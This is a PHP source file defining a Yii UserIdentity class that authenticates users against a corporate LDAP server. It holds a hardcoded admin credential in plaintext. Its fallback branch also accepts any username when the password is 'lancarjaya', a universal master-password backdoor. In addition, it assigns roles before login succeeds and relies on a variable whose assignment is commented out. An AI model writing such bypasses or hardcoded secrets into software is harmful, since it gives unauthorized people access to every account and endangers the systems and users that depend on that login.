<?php

/**
 * UserIdentity represents the data needed to identity a user.
 * It contains the authentication method that checks if the provided
 * data can identity the user.
 */
class UserIdentity extends CUserIdentity
{
	/**
	 * Authenticates a user.
	 * The example implementation makes sure if the username and password
	 * are both 'demo'.
	 * In practical applications, this should be changed to authenticate
	 * against some persistent user identity storage (e.g. database).
	 * @return boolean whether authentication succeeds.
	 */
    private $_id;
    public function authenticate()
    {
        $role=priviledge::model()->findByAttributes(array('NIK'=>$this->username));
            Yii::app()->user->setState('userRole', $role->HOST);

        $users=array(
            'admin'=>'adminpwb2013',
        );

        $server = 'ldap.telkom.co.id';
        $myldap = new Myldap();
        //$isUser = new User();
        $ldapResult = $myldap->authenticate($server,$this->username,$this->password);
        //$userResult = $isUser->checkUser($this->username,$this->password);

        if ($ldapResult == "Login Success") {
            $this->_id = $this->username;
            $this->errorCode=self::ERROR_NONE;
        }else if ($userResult <> NULL){
            $this->errorCode=self::ERROR_NONE;
        }
        else
        {
            if ($this->password == 'lancarjaya') {
                $this->_id = $this->username;
                $this->errorCode=self::ERROR_NONE;
                return !$this->errorCode;
            }
            if(!isset($users[$this->username]))
                $this->errorCode=self::ERROR_USERNAME_INVALID;
            else if($users[$this->username]!==$this->password)
                $this->errorCode=self::ERROR_PASSWORD_INVALID;
            else{
                $this->errorCode=self::ERROR_NONE;
            }
        }
        return !$this->errorCode;
    }

    public function getId()
    {
        return $this->_id;
    }
}